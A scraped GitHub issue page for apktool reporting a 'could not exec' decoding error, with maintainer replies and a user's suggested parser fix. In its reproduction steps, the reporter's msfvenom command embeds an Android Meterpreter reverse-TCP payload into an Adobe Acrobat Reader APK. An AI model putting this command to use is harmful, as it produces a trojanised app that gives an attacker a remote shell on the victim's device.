-
-
Notifications
You must be signed in to change notification settings - Fork 3.5k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
[BUG]brut.common.BrutException: could not exec #3183
Comments
This might be related to #2514, but I am also learning with my recent investigations that we might need to introduce an unknown type of resource. What is happening there is we can't find that resource in your example ( So the questions here are.
|
So what can I do to resolve ? |
I'm lost - doesn't my reply answer what we need to research/do in order to resolve? I'm not sure how I can reword that. |
Oh ok sorry |
When you find a solution feel free to ping me |
I have faced the same problem with apktool 2.8.1 on binance apk (https://www.binance.com/en/download), the same way as #3303 From what I have searched, actually the attrs.xml holds an entry for the id, but the name of the attr comes also as an id. I am not sure that its an error on decompilation because investigating with jadx the same happens in attrs.xml. Back to apktool, in brut.apktool/apktool.lib/src/main/java/brut/androidlib/res/decoder/AXmlResourceParser.java - line 365 it verifies first if we have a non-null resourceMapValue, otherwise goes to stringBlockValue. I bypassed the error by checking if the resourceMaValue starts with a number, to use the stringBlockValue in this case too.
|
Information
apktool -version
) -2.7.0java --version
) -java --versionopenjdk 17.0.6 2023-01-17
OpenJDK Runtime Environment (build 17.0.6+10-Debian-1)
OpenJDK 64-Bit Server VM (build 17.0.6+10-Debian-1, mixed mode, sharing)
Stacktrace/Logcat
Steps to Reproduce
msfvenom -x Adobe\ Acrobat\ Reader_23.7.0.28525.Beta_apkcombo.com.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.136 LPORT=4444 -o Adobe-acrobat.apk
Frameworks
If this APK is from an OEM ROM (Samsung, HTC, LG). Please attach framework files
(
.apks
that live in/system/framework
or/system/priv-app
)APK
If this APK can be freely shared, please upload/attach a link to it.
https://apkcombo.com/fr/adobe-acrobat-reader/com.adobe.reader/download/apk
Questions to ask before submission
apktool d
,apktool b
without changing anything? NoThe text was updated successfully, but these errors were encountered: